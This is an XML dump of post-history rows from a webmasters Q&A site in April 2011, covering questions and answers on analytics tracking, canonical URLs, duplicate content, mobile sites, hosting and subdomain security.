if anyone can point me in the direction of studies that give credance to either view. Or is there an overwhelming yay or nay from users?" />
  <row Id="27929" PostHistoryTypeId="24" PostId="12203" RevisionGUID="4ae1f9bb-2b7b-4075-9079-a9d5371a13d5" CreationDate="2011-04-14T23:14:51.737" Comment="Proposed by 4786 approved by 1064 edit id of 117" />
  <row Id="27930" PostHistoryTypeId="2" PostId="12250" RevisionGUID="e1e10889-d707-4105-a548-3237688795b5" CreationDate="2011-04-14T23:15:41.227" UserId="6863" Text="I have an ecommerce website and I recently came accross a web page that talks about cyber crime and this has got me wondering what **website security verification** means.&#xD;&#xA;&#xD;&#xA;I saw [this][1] and I am a bit worried about credit card theft on my site. Does any one know what the site means by wesite verification. How may I similarly verify my website to prevent such fraud cases.&#xD;&#xA;&#xD;&#xA;Are ther companies out there that offer this kind of service&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vworker.com/RentACoder/Verify/" />
  <row Id="27931" PostHistoryTypeId="1" PostId="12250" RevisionGUID="e1e10889-d707-4105-a548-3237688795b5" CreationDate="2011-04-14T23:15:41.227" UserId="6863" Text="what is website security verification?" />
  <row Id="27932" PostHistoryTypeId="3" PostId="12250" RevisionGUID="e1e10889-d707-4105-a548-3237688795b5" CreationDate="2011-04-14T23:15:41.227" UserId="6863" Text="&lt;security&gt;&lt;ecommerce&gt;&lt;creditcard&gt;&lt;fraud-detection&gt;" />
  <row Id="27933" PostHistoryTypeId="2" PostId="12251" RevisionGUID="f63c2525-282c-4011-92a7-d7635e5bd273" CreationDate="2011-04-14T23:24:23.807" UserId="1064" Text="It does not pay to fight clients on UI - this is generally the one aspect of the project which the client feels he or she knows best about, particularly if he or she will be using the interface.&#xD;&#xA;&#xD;&#xA;Share your reservations and then implement *exactly* as requested - time will tell if the client reneges on his or her judgment call, but I can assure you that only experience (or extensive testing) will prove to the client that he or she is not a usability expert.&#xD;&#xA;&#xD;&#xA;As for cancel/reset buttons, this is an instance in which Jakob Nielsen's research might be of use:&#xD;&#xA;&#xD;&#xA;&gt; The Web would be a happier place if&#xD;&#xA;&gt; virtually all Reset buttons were&#xD;&#xA;&gt; removed. This button almost never&#xD;&#xA;&gt; helps users, but often hurts them.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Reset clears away the user's input on&#xD;&#xA;&gt; a Web form, but why would people want&#xD;&#xA;&gt; to do that? The Web is characterized&#xD;&#xA;&gt; by frequent movement between pages and&#xD;&#xA;&gt; users rarely encounter the same form&#xD;&#xA;&gt; twice. Thus, a Web form is almost&#xD;&#xA;&gt; always cleared when the user sees it.&#xD;&#xA;&gt; Even when a user revisits a form in a&#xD;&#xA;&gt; single session, it is usually faster&#xD;&#xA;&gt; to edit the old data than to erase it&#xD;&#xA;&gt; and start over.&#xD;&#xA;&#xD;&#xA;[Reset and Cancel Buttons][1]&#xD;&#xA;&#xD;&#xA;It really *doesn't* make much sense to include an inline self-destruct button at the end of a particularly long form - the &quot;Back&quot; button has been around from the dawn of browsing and most users have accepted it as the self-destruct button of choice.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useit.com/alertbox/20000416.html" />
  <row Id="27934" PostHistoryTypeId="5" PostId="12228" RevisionGUID="002a85db-0f70-4cf5-91ff-6ca9f7c17082" CreationDate="2011-04-14T23:25:20.530" UserId="4786" Comment="removed greeting and signature" Text="I'm trying to set up tracking on a project that I'm working on.&#xD;&#xA;&#xD;&#xA;The main site is at http://www.example.com/*  &#xD;&#xA;The order page is at https://www.example.com/index.php&#xD;&#xA;&#xD;&#xA;Currently they have two different profiles under separate domains:  &#xD;&#xA;Main Site:   UA-aaaaaaaa-1  &#xD;&#xA;Order Site:  UA-aaaaaaaa-2&#xD;&#xA;&#xD;&#xA;This isn't giving me the results I want. When on the order page, I would like to see where on the main page users came from. Also, when on the main page I'd like to see when they navigate away to the order page, right now I can't tell the difference between an exit and order page click.&#xD;&#xA;&#xD;&#xA;I'm not even getting the main site as a referrer to the order page.&#xD;&#xA;&#xD;&#xA;What am I doing wrong? Should they be under one profile? Or two like I have them. Should I be setting the domain name `(_setDomainName)`? Should I be using `_link()` when linking to the order page. I can't find the right resource for what I need." />
  <row Id="27935" PostHistoryTypeId="24" PostId="12228" RevisionGUID="002a85db-0f70-4cf5-91ff-6ca9f7c17082" CreationDate="2011-04-14T23:25:20.530" Comment="Proposed by 4786 approved by 1064 edit id of 120" />
  <row Id="27936" PostHistoryTypeId="2" PostId="12252" RevisionGUID="38ed6ae9-c605-4317-bfe7-12391c9d5094" CreationDate="2011-04-14T23:25:33.947" UserId="5727" Text="I have a blog on this page:&#xD;&#xA;&#xD;&#xA;    domain.com/Blog/5/some-title&#xD;&#xA;&#xD;&#xA;Below the blog entry it says, &quot;click for comments&quot;.&#xD;&#xA;&#xD;&#xA;You click the link, and it goes to:&#xD;&#xA;&#xD;&#xA;    domain.com/Blog/5/some-title/Comments&#xD;&#xA;&#xD;&#xA;For user experience, the blog content is displayed, with the comments displayed below it.  It goes on multiple pages, such as:&#xD;&#xA;&#xD;&#xA;    domain.com/Blog/5/some-title/Comments/Page1&#xD;&#xA;    domain.com/Blog/5/some-title/Comments/Page2&#xD;&#xA;&#xD;&#xA;I want all the comments to be indexed by engines, but, each page displays the blog content on it!&#xD;&#xA;&#xD;&#xA;I don't want to canonical it to the blog URL, because the comments wont be indexed.  I don't want to not display the blog, because it takes peoples comments out of context and isn't so user friendly.&#xD;&#xA;&#xD;&#xA;Any way around this?" />
  <row Id="27937" PostHistoryTypeId="1" PostId="12252" RevisionGUID="38ed6ae9-c605-4317-bfe7-12391c9d5094" CreationDate="2011-04-14T23:25:33.947" UserId="5727" Text="Blog comments duplicate content paradox" />
  <row Id="27938" PostHistoryTypeId="3" PostId="12252" RevisionGUID="38ed6ae9-c605-4317-bfe7-12391c9d5094" CreationDate="2011-04-14T23:25:33.947" UserId="5727" Text="&lt;seo&gt;&lt;blog&gt;&lt;duplicate-content&gt;" />
  <row Id="27939" PostHistoryTypeId="5" PostId="12147" RevisionGUID="f18b9557-6ee4-4d31-a2f0-19e227702b99" CreationDate="2011-04-14T23:25:52.403" UserId="4786" Comment="dropped signature and fixed wording" Text="So I have a site that is developed in ASP.NET MVC2. I use a local instance of SQL Server 2008 R2 to test with, and that's where all my tables/stored procs/etc. are.&#xD;&#xA;&#xD;&#xA;Now, I want find a web server for the site and make it available to the public, and still use SQL Server as the back-end so I can just like, copy my settings over and not have to change anything.&#xD;&#xA;&#xD;&#xA;Someone brought up Amazon EC2 to me. They said I can serve my site there, and have it work exactly the same (run on a Windows Server and use a SQL Server back-end). I have NO IDEA how to go about this. I've read through http://aws.amazon.com/ec2/ and it just confuses the hell out of me. I've never done something like this before.&#xD;&#xA;&#xD;&#xA;All of the different plans confuse me. Do they include data storage? Why do they say something like &#xD;&#xA;&#xD;&#xA;&gt; 160 GB of local instance storage&#xD;&#xA;&#xD;&#xA;when talking about one of their Standard Instance plans, but then at the bottom, Data Storage prices are talked about separately? Would I have to change anything about the way my application sends/receives data from SQL Server in order to have it up and running to the public using Amazons service?&#xD;&#xA;&#xD;&#xA;Also, do I just like...copy all of my code over to Windows Server, set it up in IIS, copy my database into their SQL Server instance, and it's good to go?&#xD;&#xA;&#xD;&#xA;I'm just really really confused, and I hope someone hear can shed some light on everything for me." />
  <row Id="27940" PostHistoryTypeId="24" PostId="12147" RevisionGUID="f18b9557-6ee4-4d31-a2f0-19e227702b99" CreationDate="2011-04-14T23:25:52.403" Comment="Proposed by 4786 approved by 1064 edit id of 116" />
  <row Id="27941" PostHistoryTypeId="5" PostId="12227" RevisionGUID="28fe06e5-dfc2-471f-b866-deddd0d86835" CreationDate="2011-04-14T23:26:12.327" UserId="4786" Comment="removed signature" Text="On some browsers, they show the website more expanded, removing the white space on the sides of the page. This has the effect of making everything seem more cluttered and bigger.&#xD;&#xA;&#xD;&#xA;Is there something in my code that means they do this?" />
  <row Id="27942" PostHistoryTypeId="24" PostId="12227" RevisionGUID="28fe06e5-dfc2-471f-b866-deddd0d86835" CreationDate="2011-04-14T23:26:12.327" Comment="Proposed by 4786 approved by 1064 edit id of 119" />
  <row Id="27943" PostHistoryTypeId="2" PostId="12253" RevisionGUID="03d44f81-6129-4cc6-9085-9fc529635f87" CreationDate="2011-04-14T23:26:49.220" UserId="6858" Text="A big site I worked on before tried a few different ways of user-agent sniffing with redirects that proved to be a bit slow when dealing with millions of users. We also ended up needing to provide a link to the mobile site anyway, for those users where user-agent sniffing failed. They ended up just using a prominent link to the mobile site, and encouraging mobile users to bookmark the mobile version. The BBC take a similar approach.&#xD;&#xA;&#xD;&#xA;Device-based CSS and fluid layouts ignore the fact that browsing on a mobile device, especially a touchscreen one, is a totally different experience to using a keyboard, mouse and 19&quot; monitor. In terms of design you need to think more about page weight, massive buttons (for fat fingers), pinch and zoom, etc.&#xD;&#xA;&#xD;&#xA;You also need to think about *why* your users are browsing on a mobile device, rather than a desktop or laptop. They are likely to have different goals and needs. One big example is white goods sites that provide mobile-optimised sites, with exactly the same content. I wonder how many people order a fridge after seeing a thumbnail on their iPhone? Mobile users are more likely to be looking for store locations, phone numbers, prices for a product they are looking at in another store, etc.&#xD;&#xA;&#xD;&#xA;Hence, the most effective mobile sites are those that are thought of as providing a mobile ***experience***, rather than just a mobile design." />
  <row Id="27944" PostHistoryTypeId="2" PostId="12254" RevisionGUID="297299f0-4c86-481d-a9aa-2a3b636e31c1" CreationDate="2011-04-14T23:30:27.207" UserId="6467" Text="Are you kidding? This is exactly what Google wants! &#xD;&#xA;They want their searchers to get the best results. Just make sure the content is unique on each page. Also monitor the stats to learn more from your visitors. Be consistent in adding your pages. That means, don't publish 4 pages om the first of the month. Publish 1 page each week. Consistency matters. Google then knows your serious about the website. " />
  <row Id="27946" PostHistoryTypeId="2" PostId="12256" RevisionGUID="5b9fb701-6617-41a5-ae51-15d1b59c9d14" CreationDate="2011-04-14T23:44:54.173" UserId="6858" Text="Load the whole page, including comments - this is your canonical URL. Then handle pagination of the comments by JavaScript.&#xD;&#xA;&#xD;&#xA;If you specifically want them to be on a different URL like you put above, then use JavaScript to remove them from the blog page and replace them with the links as above. Then use your robots file to ignore `*/Comments/*`." />
  <row Id="27947" PostHistoryTypeId="2" PostId="12257" RevisionGUID="406aaafa-290f-4101-9c4d-01179746baaf" CreationDate="2011-04-14T23:51:37.617" UserId="1064" Text="[Virtual page views][1] can be used to aggregate data from multiple subdomains and protocols under a single profile - definitely the easiest way to look at all analytics data gathered for a domain in a single place.&#xD;&#xA;&#xD;&#xA;Here's a simple PHP example for tracking virtual page views across subdomains (will appear in reports as `/subdomain/uri`) or protocol (will appear in reports as `/secure/uri`):&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        $domain = '.example.com';&#xD;&#xA;        $uri = $_SERVER['REQUEST_URI'];&#xD;&#xA;        /*&#xD;&#xA;         * create a virtual page view URI for subdomains other than &quot;www&quot;&#xD;&#xA;        */&#xD;&#xA;        if ( $_SERVER['HTTP_HOST'] != 'www'.$domain ) {&#xD;&#xA;            $uri = '/' . strtok( $_SERVER['HTTP_HOST'], '.' ) . $uri;&#xD;&#xA;        }&#xD;&#xA;        /*&#xD;&#xA;         * create a virtual page view URI for HTTPS requests&#xD;&#xA;        */&#xD;&#xA;        if ( @isset($_SERVER['HTTPS']) &amp;&amp; $_SERVER['HTTPS'] ) {&#xD;&#xA;            $uri = '/secure' . $uri;&#xD;&#xA;        }&#xD;&#xA;    ?&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;      _gaq.push(['_setAccount', 'UA-XXXXX-X']);&#xD;&#xA;      _gaq.push(['_setDomainName', '&lt;?php echo $domain; ?&gt;']);&#xD;&#xA;      _gaq.push(['_setAllowHash', false]);&#xD;&#xA;      _gaq.push(['_trackPageview', '&lt;?php echo $uri; ?&gt;']);&#xD;&#xA;    &#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;    &#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;You'll want to change the script to accommodate your configuration if you serve content under &quot;www.domain.com&quot; named &quot;secure&quot; or with the same name as subdomains.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/asyncMigrationExamples.html#VirtualPageviews" />
  <row Id="27948" PostHistoryTypeId="17" PostId="12259" RevisionGUID="c066ff2e-ab59-4e44-8097-786ad388cb2f" CreationDate="2011-04-15T00:01:31.207" UserId="-1" Comment="from http://stackoverflow.com/questions/5667322/is-an-externally-hosted-subdomain-a-security-risk/5667946#5667946" Text="" />
  <row Id="27949" PostHistoryTypeId="2" PostId="12259" RevisionGUID="47259368-4ce2-4e94-8f98-fe97b2b902f9" CreationDate="2011-04-14T18:37:21.217" UserDisplayName="CodeInChaos" Text="Different subdomains can share cookies (depends on the cookie path used), and thus the third party could steal cookies used to authenticate on the main domain. This is also the case if your CMS gets hacked.&#xD;&#xA;&#xD;&#xA;You could get a new domain for your new website and setup a redirect on your old domain. That should take care of most security issues.&#xD;&#xA;&#xD;&#xA;There might also be some issues regarding cross site scripting. I think your externally hosted website might be allowed to make requests to the parent site with the parent site's cookies. But I've never tried it, so I don't know if the browsers send the `.parentsite` cookies in that case too." />
  <row Id="27950" PostHistoryTypeId="2" PostId="12258" RevisionGUID="eb1e2fcc-5ab9-41af-bf2d-f4d86e408790" CreationDate="2011-04-14T17:44:04.743" UserDisplayName="Will" Text="A company I've been developing a web site for wants to keep their current domain, which is something like company.parentcompany.com. Because we wanted to use a different CMS, the parent company refused to support or even host it and asked us to pay for third-party hosting.&#xD;&#xA;&#xD;&#xA;Now that we've done that, they won't make an A record for the subdomain pointing at the new server, stating that it is a security risk. I'm not a DNS expert by any means, but this sounds like total BS to me. I've seen this discussed several times, but I've never seen anyone raise security issues. &#xD;&#xA;&#xD;&#xA;Can I fight this, or are they really correct?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="27951" PostHistoryTypeId="1" PostId="12258" RevisionGUID="eb1e2fcc-5ab9-41af-bf2d-f4d86e408790" CreationDate="2011-04-14T17:44:04.743" UserDisplayName="Will" Text="Is an externally-hosted subdomain a security risk?" />
  <row Id="27952" PostHistoryTypeId="3" PostId="12258" RevisionGUID="eb1e2fcc-5ab9-41af-bf2d-f4d86e408790" CreationDate="2011-04-14T17:44:04.743" UserDisplayName="Will" Text="&lt;security&gt;&lt;dns&gt;&lt;subdomain&gt;" />
  <row Id="27953" PostHistoryTypeId="17" PostId="12258" RevisionGUID="e0b11b95-46ec-4b1a-9791-b3cdc62fc804" CreationDate="2011-04-15T00:01:31.207" UserId="-1" Comment="from http://stackoverflow.com/questions/5667322/is-an-externally-hosted-subdomain-a-security-risk" Text="" />
  <row Id="27954" PostHistoryTypeId="25" PostId="12241" RevisionGUID="f087281d-98a6-4251-b398-9bd25dd4cbbf" CreationDate="2011-04-15T00:09:12.620" Comment="http://twitter.com/#!/StackWebmasters/status/58683253569241088" />
  <row Id="27955" PostHistoryTypeId="5" PostId="12249" RevisionGUID="332e2f4f-972d-4a22-9850-df9aea8be62d" CreationDate="2011-04-15T00:24:53.723" UserId="4064" Comment="improved wording" Text="Did you read Google Adsense Policies? If not, go read them and try to figure out if your site is violating their policies, if they've sent you &quot;Unacceptable content&quot; as rejection cause, you should review and modify your content.&#xD;&#xA;[Adsense Policies][1]&#xD;&#xA;&#xD;&#xA;If your website is not written in english, is your website language supported by Adsense?&#xD;&#xA;[Adsense supported languages][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/support/bin/answer.py?answer=48182&#xD;&#xA;  [2]: https://www.google.com/adsense/support/bin/answer.py?answer=9727" />
  <row Id="27956" PostHistoryTypeId="2" PostId="12260" RevisionGUID="3ac0dd9b-6ca2-4e92-9fa4-428704284ac6" CreationDate="2011-04-15T00:28:35.073" UserId="10" Text="Quantcast emailed me:&#xD;&#xA;&#xD;&#xA;&gt; You mentioned that there was a fairly substantial delta between your GA numbers and your QC numbers.  While this doesn’t happen often, it does happen and there are several reasons this can occur. For instance, we account for 3rd party cookies and auto-refreshes and GA does not.  We also ask that publishers to place our tag near the bottom of the page to comply with MRC and IAB standards. If your other measurement tags are higher on the page, they could fire when Quantcast’s does not. (We are the only MRC accredited traffic measurement service).   Also, the numbers are never going to be exactly the same because of time zone considerations - we use a normalizing function and GA’s is fixed.&#xD;&#xA; &#xD;&#xA;&gt; If you would like to learn more about how we determine our numbers, please check out: http://www.quantcast.com/how-we-do-it. We also have white papers on our cookie-corrected audience data and our methodology located here.&#xD;&#xA;&#xD;&#xA;Perusing the white papers I see that they are, actually, doing what Jeff suggests: fudging the &quot;official&quot; numbers to get something that they think is closer to the true number of people. They have a [Cookie Corrected Audience White Paper (PDF link)](http://www.quantcast.com/white-papers/quantcast-cookie-corrected-audience-white-paper.pdf) which implies that their system is rather elaborate, not as simple as just dividing by a magic number:&#xD;&#xA;&#xD;&#xA;&gt;The Quantcast Quantified Publisher program captures over 75 billion media &#xD;&#xA;consumption events every month, generated by more than 1.4 billion cookies (data as of June, 2008). What’s &#xD;&#xA;more, many of our Quantified Publisher partners share anonymous identifiers with us that are independent of &#xD;&#xA;cookies. Our model also includes several panels which provide for people-based reference points and calibration &#xD;&#xA;which are free of cookie deletion. We triangulate across this mass of data with different collection processes, &#xD;&#xA;biases and issues. Our models take into account visit frequency, time periods, the likelihood of multiple &#xD;&#xA;computer usage and even the impact of multiple people using the same computer to deliver people based &#xD;&#xA;estimates. &#xD;&#xA;Our model for translating unique cookies to people has been validated using hold-out samples and independent &#xD;&#xA;data sets. Further, our model is dynamic and recalibrated on an ongoing basis to reflect the evolving nature of &#xD;&#xA;Internet traffic patterns. " />
  <row Id="27957" PostHistoryTypeId="2" PostId="12261" RevisionGUID="5510df54-8672-49ee-85e3-90964e7cf14c" CreationDate="2011-04-15T01:15:43.480" UserId="2293" Text="I agree with previous answers. But let me go down a bit.&#xD;&#xA;&#xD;&#xA;I also receive this kind of proposal many times. &quot;It's simple. I just want some contact info, some product pics... no big deal&quot;. After one month... &quot;Yeah, but you also know photoshop, right? you can make those mobile pics become like professional ones...&quot;&#xD;&#xA;&#xD;&#xA;Closer people are a two-sided razorblade. They trust you, they know you, and they can make some really nice word of mouth marketing for you for free. But they want to pay ridiculous wages for top services.&#xD;&#xA;&#xD;&#xA;First thing, when they look for your job, show'em your professional side and threat them like any other client. Explain the whys and hows about internet stuff. Show them that you care about the quality of things you build.&#xD;&#xA;&#xD;&#xA;Be sincere, respect them, show that you really know your business, support their questions... But don't accept engaging something just for friendship/relationship.&#xD;&#xA;&#xD;&#xA;If they want something really simple, recommend a CMS or blog platform. Set up, provide training, and deploy. Ah, and don't forget to make a simple contract, just to cover the basis. This will avoid them to ask you to keep making magic all the time, like write about their new product every week, editing photos, and integrating every new social stuff that appears in the market as new sensation." />
  <row Id="27958" PostHistoryTypeId="2" PostId="12262" RevisionGUID="a545a0e2-1670-41fd-a054-b04658d361be" CreationDate="2011-04-15T01:22:03.167" UserId="6789" Text="I'm not an expert, but to me its nothing but a bit of a sham, users want to see that a website is secure, so owners pay money to get 'verified'&#xD;&#xA;&#xD;&#xA;some are Trust Guard, Mcafee and truste&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27959" PostHistoryTypeId="2" PostId="12263" RevisionGUID="02789100-2e96-4f1e-b87f-b03d0d50d934" CreationDate="2011-04-15T01:42:28.580" UserId="4306" Text="You need to set up **[cross-domain tracking in Google Analytics][1]**.&#xD;&#xA;&#xD;&#xA;Follow the linked instrauctions to do the following:&#xD;&#xA;&#xD;&#xA;* Set up a master profile for your primary domain without filters.&#xD;&#xA;* Create a profile especially for cross-domain tracking and re-use your tracking code.&#xD;&#xA;* Modify your cross-domain profile with a filter to show the full domain in your content reports.&#xD;&#xA;&#xD;&#xA;**Now**, your major problem is differentiating between **http**://www.example.com/index.php and **https**://www.example.com/index.php (two separate pages).&#xD;&#xA;&#xD;&#xA;Here are some things you can try to resolve the problem:&#xD;&#xA;&#xD;&#xA;* Rename the https index.php to something else (e.g. `index-cart.php`). This is probably the best/easiest thing to do.&#xD;&#xA;&#xD;&#xA;* Rename the http index.php to something else and set as the default document (e.g. `default.php`). This might be quite easy as your are probably referencing the site root just with `href=&quot;/&quot;`&#xD;&#xA;&#xD;&#xA;* Alias the https www subdomain to something else (e.g. `https://checkout.example.com`). This is just a DNS change, and hopefully a simple change to your config file to point to the new secure alias. This will allow you to do cross-domain tracking exactly as per the Google documentation.&#xD;&#xA;&#xD;&#xA;* Add a parameter to your links to the secure pages (e.g. `href=&quot;https://www.example.com/index.php?foo=bar&quot;`. This would allow you to differentiate between the two index pages in GA. This is not the best option but should be easy to implement without breaking any business logic.&#xD;&#xA;&#xD;&#xA;Hope this helps. Please report back on any methods which work for you.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Cross-Domain Tracking in Google Analytics:&#xD;&#xA;* http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html" />
  <row Id="27960" PostHistoryTypeId="2" PostId="12264" RevisionGUID="7edd2c0a-64b6-400b-890d-542488c8d04d" CreationDate="2011-04-15T02:22:34.003" UserId="5718" Text="Maybe your GA visitor numbers are more inflated than a normal site because of the more technical nature of it's audience? For example, programmers, web developers especially, are more likely to be using a range of browsers and thus increasing the cookie count. &#xD;&#xA;&#xD;&#xA;For question 1, I guess that, as with many metrics, it's better to use data from your own site instead of looking for global standards as aggregates can be misleading. One way to get a cookie to real visitor count might be to count how many cookies you see from each registered user then derive the number from that. &#xD;&#xA;&#xD;&#xA;As for number 2, theoretically the best way to count real visitors would be to force everyone to register an account. As that's obviously not a good idea then you could look at normalization. For example, you could use the average cookies for registered user metric I suggested above and apply it to the visitor numbers that GA is reporting." />
  <row Id="27971" PostHistoryTypeId="25" PostId="12258" RevisionGUID="525c7dce-479e-48dc-b871-74ee561c0cae" CreationDate="2011-04-15T03:09:13.113" Comment="http://twitter.com/#!/StackWebmasters/status/58728553197486082" />
  <row Id="27972" PostHistoryTypeId="2" PostId="12268" RevisionGUID="23209b48-953c-4b39-b39a-855e7bafbe11" CreationDate="2011-04-15T04:51:31.763" UserId="6776" Text="I'm confused about canonical issue. I've setup in .htaccess to redirect the urls without www to www. one's.&lt;br&gt;&#xD;&#xA;My site is [http://www.indiacustomercare.com][1] .&lt;br&gt;&#xD;&#xA;Now the url's in this link-[http://www.indiacustomercare.com/sitemap][2] are all without www. Is this going to affect anything?&lt;br&gt;&#xD;&#xA;In the web will both the url's([http://www.indiacustomercare.com][3] &amp; [http://indiacustomercare.com][4]) be considered same or different? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.indiacustomercare.com&#xD;&#xA;  [2]: http://www.indiacustomercare.com/sitemap&#xD;&#xA;  [3]: http://www.indiacustomercare.com&#xD;&#xA;  [4]: http://indiacustomercare.com" />
  <row Id="27973" PostHistoryTypeId="1" PostId="12268" RevisionGUID="23209b48-953c-4b39-b39a-855e7bafbe11" CreationDate="2011-04-15T04:51:31.763" UserId="6776" Text="Canonicalization of my site" />
  <row Id="27974" PostHistoryTypeId="3" PostId="12268" RevisionGUID="23209b48-953c-4b39-b39a-855e7bafbe11" CreationDate="2011-04-15T04:51:31.763" UserId="6776" Text="&lt;canonical-url&gt;" />
  <row Id="27975" PostHistoryTypeId="2" PostId="12269" RevisionGUID="60437a8e-d685-4bcc-bd9e-8af9ba3577da" CreationDate="2011-04-15T05:16:55.950" UserId="6776" Text="I've a new website coming up with 1000's of page which will contain some city codes. I'd also like to place city info copied from Wikipedia(as per Creative Commons License).&lt;br&gt;&#xD;&#xA;Now the focus of the pages will be city codes. Wikipedia content will be there only to improve page appearance.&#xD;&#xA;&lt;br&gt;However it can be slapped duplicate content penalty so I should use rel=canonical. &lt;br&gt;But the main content/focus of site is some city codes and not Wikipedia info per se. Rel=canonical will give impression that whole part of page is duplicated lowering the page seo worth.&lt;br&gt;&lt;br&gt;&#xD;&#xA;**What should I do to tackle this duplicate content issue?**" />
  <row Id="27976" PostHistoryTypeId="1" PostId="12269" RevisionGUID="60437a8e-d685-4bcc-bd9e-8af9ba3577da" CreationDate="2011-04-15T05:16:55.950" UserId="6776" Text="How to tackle this duplicate content issue?" />
  <row Id="27977" PostHistoryTypeId="3" PostId="12269" RevisionGUID="60437a8e-d685-4bcc-bd9e-8af9ba3577da" CreationDate="2011-04-15T05:16:55.950" UserId="6776" Text="&lt;seo&gt;&lt;canonical-url&gt;&lt;duplicate-content&gt;" />
  <row Id="27978" PostHistoryTypeId="2" PostId="12270" RevisionGUID="51be178c-fa90-4209-a0ab-e4321f6787ad" CreationDate="2011-04-15T05:25:00.103" UserId="4064" Text="If you'd properly set redirect 301 from htaccess robots will know your preferred url starts with www and they will index it using www because redirect 301 indicates no-www is removed permanently.&#xD;&#xA;Additionaly You can tell Googlebot www is your preferred url, login into Google Webmaster Tools go to Site configuration -&gt; settings and select Display URLs as www.yourdomain.com&#xD;&#xA;&#xD;&#xA;If you are going to use absolute URLs in your internal links it will be better to be consistent with your preferred domain. If you don't want to bother about inserting http://www.yourdomain.com/ in your links' href then don't include protocol and domain there, just set your links as href=&quot;/folder/page.ext&quot;. In this way the links will be appended to your domain and bots will see them as http://www.yourdomain.com/folder/page.ext" />
  <row Id="27979" PostHistoryTypeId="5" PostId="12233" RevisionGUID="5fdc74a6-cb83-4dc6-9359-60c998942c26" CreationDate="2011-04-15T05:41:25.013" UserId="3766" Comment="deleted 195 characters in body; edited title; added 20 characters in body; deleted 20 characters in body; added 137 characters in body" Text="I'm looking for an easy-to-use, well-supported tool for building your own web site, that a non-technical person can understand. Preferably something web-based and hosted, so they have to do as little as possible to get started. Any recommendations?&#xD;&#xA;&#xD;&#xA;I want something I can recommend to friends and family, when they ask me how they can build a site for their business, wedding, etc.." />
  <row Id="27980" PostHistoryTypeId="4" PostId="12233" RevisionGUID="5fdc74a6-cb83-4dc6-9359-60c998942c26" CreationDate="2011-04-15T05:41:25.013" UserId="3766" Comment="deleted 195 characters in body; edited title; added 20 characters in body; deleted 20 characters in body; added 137 characters in body" Text="Hosted web site builder for non-techies" />
  <row Id="27981" PostHistoryTypeId="16" PostId="12233" RevisionGUID="cf6c700e-9e5b-4b56-8f5e-269495e4bdfb" CreationDate="2011-04-15T05:42:41.117" UserId="1064" />
  <row Id="27982" PostHistoryTypeId="16" PostId="12234" RevisionGUID="05596c9f-17fa-41bb-a2f7-64e2c9e95a57" CreationDate="2011-04-15T05:42:41.117" UserId="1064" />
  <row Id="27983" PostHistoryTypeId="16" PostId="12235" RevisionGUID="1070283e-623c-4ae3-a48d-87794be2dfa2" CreationDate="2011-04-15T05:42:41.117" UserId="1064" />
  <row Id="27984" PostHistoryTypeId="16" PostId="12261" RevisionGUID="a9b08083-2399-41e2-bcc4-5ac5d07ede69" CreationDate="2011-04-15T05:42:41.117" UserId="1064" />
  <row Id="27985" PostHistoryTypeId="2" PostId="12271" RevisionGUID="d8c56466-feb6-4947-b847-043383e35b15" CreationDate="2011-04-15T05:56:15.167" UserId="6869" Text="Thanks for the prompt replies guys! I really appreciate it... I have taken into account all these you are telling me and my only concern remains whether Google and Google rank get affected on that structure or not. If not i will just leave my urls the way we got it now eshop/tires ;)" />
  <row Id="27986" PostHistoryTypeId="25" PostId="12269" RevisionGUID="702e0f0c-6f6a-4fa7-85fe-d6050bf46fb2" CreationDate="2011-04-15T06:09:14.010" Comment="http://twitter.com/#!/StackWebmasters/status/58773857376534529" />
  <row Id="27989" PostHistoryTypeId="2" PostId="12272" RevisionGUID="e7c45903-68c5-4d95-ab91-0a62de2d97ed" CreationDate="2011-04-15T07:22:11.127" UserId="6312" Text="Is it possible to display the content of other website in my Joomla page (using the &quot;Wrapper&quot; menu item type) with autodetection of its height? &#xD;&#xA;&#xD;&#xA;I don't know the exact height of the embedded dynamic page in pixels, but I want to display it without vertical scrollbar inside of my frame.&#xD;&#xA;&#xD;&#xA;Joomla 1.5.22" />
  <row Id="27990" PostHistoryTypeId="1" PostId="12272" RevisionGUID="e7c45903-68c5-4d95-ab91-0a62de2d97ed" CreationDate="2011-04-15T07:22:11.127" UserId="6312" Text="Joomla Wrapper with auto height to display the content without frame's scrollbar" />
  <row Id="27991" PostHistoryTypeId="3" PostId="12272" RevisionGUID="e7c45903-68c5-4d95-ab91-0a62de2d97ed" CreationDate="2011-04-15T07:22:11.127" UserId="6312" Text="&lt;websites&gt;&lt;joomla&gt;&lt;embed&gt;&lt;iframe&gt;&lt;automation&gt;" />
  <row Id="27992" PostHistoryTypeId="2" PostId="12273" RevisionGUID="435f83c9-715b-4428-88fd-a264ad9e52f5" CreationDate="2011-04-15T07:25:35.803" UserId="3111" Text="A really big popular site like facebook currently has a mobile version of their site, which has to be seperate to their full web property.  The paradigms are just so different.&#xD;&#xA;&#xD;&#xA;Here is an article about the tech they used to serve all the different levels of mobile devices with one code base: [Facebook Engineering - One Mobile Site to Serve Thousands of Phones][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.facebook.com/notes/facebook-engineering/one-mobile-site-to-serve-thousands-of-phones/10150122073713920" />
